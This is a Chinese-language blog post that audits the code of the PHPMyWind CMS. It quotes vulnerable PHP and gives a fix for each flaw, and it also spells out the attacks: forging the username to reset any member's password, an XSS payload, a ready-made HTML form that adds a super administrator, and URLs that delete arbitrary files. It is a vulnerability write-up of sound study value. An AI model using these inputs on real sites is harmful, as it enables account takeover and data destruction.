- A+
显示不全请点击全屏阅读
年底就离校了,大专,软件测试专业。求安全公司收留。渗透测试、软件测试、代码审计都可以,最好是做安全。联系方式:[email protected]
PHPMyWind介绍:
PHPMyWind 是一款基于PHP+MySQL开发,符合W3C标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供“核动力“。[PHPMyWind 是一款基于PHP+MySQL开发,符合W3C标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供“核动力“。
作者:Seay
说明:看代码审计的文章,是要学思路,而不是用别人的成果去入侵。不断学习,不断钻研,才能不断进步。
审计环境:
用到的工具:Seay PHP代码审计工具2012终结版
下载地址:http://www.cnseay.com/archives/1115
过滤函数:80sec提供的过滤函数,过滤了一些像union的特殊字符。。。
include\\common.inc.php文件已经对提交上来的数据进行转义。
文件结构:
我们先用工具载入源码,函数扫描一遍。
一、任意会员密码+资料修改漏洞:
任意会员密码密码修改:
漏洞文件:\\member.php
代码:
//设置新密码
346 else if($a == ‘setnewpwd’)
347 {
348 if(!isset($_POST[‘uname’])) //可输入变量$_POST 可能存在安全威胁
349 {
350 header(‘location:?c=findpwd’);
351 exit();
352 }
353
354
355 //初始化参数
356 $uname = empty($uname) ? ” : $uname;
357 $password = empty($password) ? ” : md5(md5($password));
358 $repassword = empty($repassword) ? ” : md5(md5($repassword));
359
360
361 //验证输入数据
362 if($uname == ” or
363 $password == ” or
364 $repassword == ” or
365 $password != $repassword or
366 preg_match(“/[^0-9a-zA-Z_-]/”,$password))
367 {
368 header(‘location:?c=findpwd’);
369 exit();
370 }
371
372
373 if($dosql->ExecNoneQuery(“UPDATE `dede_member` SET password=’$password’ WHERE username=’$uname'”))
374 {
375 header(“location:?c=login&d=”.md5(‘newpwd’));
376 exit();
377 }
378 }
直接取到’uname’ 就带入到数据库。我们可以抓包,把uname修改成其他用户名,重新提交数据包即可修改其密码。我们可以跟踪ExecNoneQuery函数看一下。
在include/mysql.class.php文件中。
//执行一个不返回结果的SQL语句,如update,delete,insert等
function ExecNoneQuery($sql=”)
{
global $dosql;
if($dosql->isclose)
{
$this->Open(false);
$dosql->isclose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
else
{
return false;
}
//SQL语句安全检查
if($this->safecheck)
{
$this->CheckSql($this->querystring,’update’);
}
if(mysql_query($this->querystring, $this->linkid))
{
return true;
}
else
{
$this->DisplayError(mysql_error().’ Error sql: ‘.$this->querystring);
exit();
}
}
看到标红的SetQuery($sql);。我们继续跟踪。函数还是在本文件内。
//设置SQL语句,会自动把SQL语句里的dede_替换为$this->db_tablepre(在配置文件中为$db_tablepre)
function SetQuery($sql)
{
$prefix = ‘dede_’;
$this->querystring = str_replace($prefix, $this->db_tablepre, $sql);
}
看到只是拼接下SQL语句而已,最终把SQL语句交给了querystring 变量。
继续回到ExecNoneQuery函数。我们看到
//SQL语句安全检查
if($this->safecheck)
{
$this->CheckSql($this->querystring,’update’);
}
$this->result[$id] = mysql_query($this->querystring, $this->linkid);
if(empty($this->result[$id]) && $this->result[$id]===false)
{
$this->DisplayError(mysql_error().’ Error sql: ‘.$this->querystring);
exit();
}
继续跟踪CheckSql函数,就看到蛋疼的东西了。
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($sql, $querytype=’select’)
{
$clean = ”;
$error = ”;
$pos = -1;
$old_pos = 0;
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype == ‘select’)
{
if(preg_match(‘/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/’, $sql))
{
$this->DisplayError(“$sql||SelectBreak”,1);
}
/*省略*/
蛋疼的拼接好SQL语句再检查。。。
修复:SQL语句where后面的值从session中获取。
任意会员资料修改:
同样在\\member.php文件,看到更新资料处。
//更新资料
413 else if($a == ‘saveedit’)
414 {
415 if($password!=$repassword or
416 $email==”)
417 {
418 header(‘location:?c=edit’);
419 exit();
420 }
421
422
423 //检测旧密码是否正确
424 if($password != ”)
425 {
426 $oldpassword = md5(md5($oldpassword));
427 $r = $dosql->GetOne(“SELECT `password` FROM `dede_member` WHERE `username`=’$c_uname'”); //可能存在SQL查询语句,请注意是否过滤
428 if($r[‘password’] != $oldpassword)
429 {
430 ShowMsg(‘抱歉,旧密码错误!’,’-1′);
431 exit();
432 }
433 }
434
435 $sql = “UPDATE `dede_member` SET “;
436 if($password != ”)
437 {
438 $password = md5(md5($password));
439 $sql .= “password=’$password’, “;
440 }
441 @$sql .= “question=’$question’, answer=’$answer’, cnname=’$cnname’, enname=’$enname’, sex=’$sex’, birthtype=’$birthtype’, birth_year=’$birth_year’, birth_month=’$birth_month’, birth_day=’$birth_day’, astro=’$astro’, bloodtype=’$bloodtype’, live_prov=’$live_prov’, live_city=’$live_city’, live_country=’$live_country’, home_prov=’$home_prov’, home_city=’$home_city’, home_country=’$home_country’, cardtype=’$cardtype’, cardnum=’$cardnum’, intro=’$intro’, email=’$email’, qqnum=’$qqnum’, mobile=’$mobile’, telephone=’$telephone’, address_prov=’$address_prov’, address_city=’$address_city’, address_country=’$address_country’, address=’$address’, zipcode=’$zipcode’ WHERE id=$id”;
442
443 if($dosql->ExecNoneQuery($sql))
444 {
445 ShowMsg(‘资料更新成功!’,’?c=edit’);
446 exit();
447 }
448 }
我们看到SQL语句是直接拼接起来的,跟之前密码修改一样,$id我们可控,修改下密保或者邮箱就可以直接找回密码。
修复:同理,SQL语句where后面的值从session中获取。
当然同类的小缺陷还有,就不列出来了,主要是对网站危害不大。如果会员跟管理员在一个表,那你们懂得。。。但是现实总是那么残酷啊,好了,不做梦乱想了。。。
二、会员资料XSS漏洞
代码还是上面那段代码。未对特殊字符做编码处理,产生XSS漏洞。
我们在“通信地址”处输入“”><script>alert(/xss)<script>”.。
点击更新,立马触发,我们再到后台用户管理看看。
很鸡肋啊,不过动动你的脑筋,结合社会工程学,让管理查看下你的资料,也不是不可能的事。再结合上次Yaseng基友说的CSRF,就可以直接Getshell。
修复:对提交的字符特殊字符做编码处理
三、后台越权添加+审核+删除任意用户信息(含密码)
越权添加用户:
后台用户信息保存的文件admin\\admin_save.php
验证了是否登录,但是没验证管理员的角色,我们可以构造一个POST的包,即可添加超级管理员。
18 //添加管理员
19 if($action == ‘add’)
20 {
21 if(preg_match(“/[^0-9a-zA-Z_@!\.-]/”,$username) || preg_match(“/[^0-9a-zA-Z_@!\.-]/”,$password))
22 {
23 ShowMsg(‘用户名或密码非法!请使用[0-9a-zA-Z_@!.-]内的字符!’, ‘-1’);
24 exit();
25 }
26
27 if($dosql->GetOne(“SELECT id FROM `$tbname` WHERE username=’$username'”)) //可能存在SQL查询语句,请注意是否过滤
28 {
29 ShowMsg(‘用户名已存在!’, ‘-1’);
30 exit();
31 }
32
33 $password = md5(md5($password));
34 $loginip = ‘127.0.0.1’;
35 $logintime = time();
36
37 $sql = “INSERT INTO `$tbname` (username, password, loginip, logintime, levelname, checkadmin) VALUES (‘$username’, ‘$password’, ‘$loginip’, ‘$logintime’, ‘$levelname’, ‘$checkadmin’)”;
38 if($dosql->ExecNoneQuery($sql))
39 {
40 header(“location:$gourl”);
41 exit();
42 }
43 }
俺写的一个提交的页面,要在登录的情况下:
<form name=”form” id=”form” method=”post” action=”http://localhost/admin/admin_save.php?action=add”>
<label></label>
<table width=”284″ height=”103″ border=”1″ align=”center”>
<tr>
<td width=”74″>用户名:</td>
<td width=”194″><label>
<input type=”text” name=”username” class=”class_input” id=”username” />
</label></td>
</tr>
<tr>
<td>密 码:</td>
<td><input type=”password” name=”password” class=”class_input” id=”password” /></td>
</tr>
<tr>
<td>权 限:</td>
<td><select name=”levelname” id=”levelname”>
<option value=”0″>超级管理员</option>
<option value=”1″>普通管理员</option>
<option value=”2″>文章发布员</option>
</select></td>
</tr>
<tr>
<td>审 核:</td>
<td><input type=”radio” name=”checkadmin” value=”true” checked=”checked”>
已审核 </td>
</tr>
<tr>
<td colspan=”2″ align=”center”><label>
<input type=”submit” name=”Submit” value=” 添 加 ” />
</label></td>
</tr>
</table>
</form>
可以用来权限提升。
越权删除管理
108 //删除管理员
109 else if($action == ‘del’)
110 {
111 if($id == 1)
112 {
113 ShowMsg(‘抱歉,不能删除创始账号!’,’-1′);
114 exit();
115 }
116
117 if($dosql->ExecNoneQuery(“DELETE FROM `$tbname` WHERE id=$id”))
118 {
119 header(“location:$gourl”);
120 exit();
121 }
122 }
123
124
125 //无条件返回
126 else
127 {
128 header(“location:$gourl”);
129 exit();
130 }
131 ?>
还有审核同样。。。。
修复:操作前验证管理权限
四、后台多处任意文件+目录删除漏洞
先看admin/upload_filemgr_save.php文件。
//初始化参数
$gourl = isset($dirname) ? ‘upload_filemgr_dir.php?dirname=’.$dirname : ‘upload_filemgr_dir.php’;
$dirname = isset($dirname) ? $dirname : ”;
$filename = isset($filename) ? $filename : ”;
//删除文件
if($action == ‘delfile’)
{
$dstring = ‘../’.$dirname.$filename;
if(file_exists($dstring))
{
if(@unlink($dstring))
{
header(“location:$gourl”);
exit();
}
else
{
ShowMsg(‘未知错误,文件删除失败!’, $gourl);
exit();
}
}
else
{
ShowMsg(‘在目录中未找到该文件,请尝试刷新文件列表!’, $gourl);
exit();
}
}
dirname 和filename 均未过滤,多个文件都是这样。删…
http://localhost/phpmywind/admin/database_backup.php?action=import&dopost=del&dirname=2012_1115000841_VZeCyy&tbname=pmw_admanage_0_jIzU7L.txt
http://localhost/phpmywind/admin/upload_filemgr_save.php?mode=dir&action=delfile&dirname=uploads%2Fimage%2F&filename=index.htm
…..
修复:过滤目录。。。
五、后台目录浏览漏洞
/admin/upload_filemgr_dir.php文件中dirname过滤不严,导致任意目录浏览+删除。
修复:同理,过滤
好了,暂时先看到这里,以后有时间再看吧。欢迎大家来俺博客玩。
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡